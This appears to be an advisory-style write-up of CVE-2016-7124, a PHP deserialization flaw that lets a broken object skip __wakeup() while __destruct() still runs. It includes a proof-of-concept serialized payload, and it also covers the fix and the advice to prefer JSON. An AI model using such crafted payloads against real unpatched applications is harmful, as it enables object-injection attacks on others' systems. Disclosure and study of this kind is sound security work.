Introduction

PHP is a widely used scripting language for server-side web applications. A lot of popular Content Management Systems and other online applications are built on PHP.

Some PHP applications use serialization for storing and reading data. Serialization is faster than alternatives, like JSON for example, so some applications use it to also read untrusted user input. When an object is unserialized, it's __wakeup() magic method is called. When an object is destroyed, it's __destruct() method is called.

Vulnerability

CVE-2016-7124 - bypass __wakeup() in deserialization of an unexpected object

Using vulnerability in ext/standard/var_unserializer.c in PHP versions before 5.6.25 and 7.x before 7.0.10 remote attacker can craft and invalid object that allows denial of service or other types of attacks, like code injection, SQL injection or path traversal.

Some applications, like SugarCRM, use unserialized objects __wakeup method to prevent unserialize vulnerabilities.

Example:

```php
/**
 * This is needed to prevent unserialize vulnerability
 */
public function __wakeup()
{
    // clean all properties
    foreach(get_object_vars($this) as $k => $v) {
        $this->$k = null;
    }
    throw new Exception("Not a serializable object");
}
```

However, if the unserialized object is broken, __wakeup will not be called on these objects, but __destruct will be called still. Thus, creating a broken object, the attacker can bypass __wakeup method used for protection against PHP Object injection attacks. Attacker can then invoke __destruct with crafted properties or use other magic methods.
Proof of Concept

```php
class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
    }
}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"\0"."\0"."\0"."\0"."\0"."\0"."\0"."\0":R:4;}}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';
$data = unserialize($exploit);
echo $data[1];
```

Fix for the vulnerability

The vulnerability was fixed in ext/standard/var_unserializer.c starting from PHP 7.0.10 and 5.6.25. Broken objects are destroyed when unserialized.

A safer approach for applications is to not use serialization with user input and if possible use JSON instead.

References

1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=2016-7124
3. https://bugzilla.redhat.com/show_bug.cgi?id=1374697
4. https://github.com/php/php-src/commit/20ce2fe8e3c211a42fee05a461a5881be9a8790e?w=1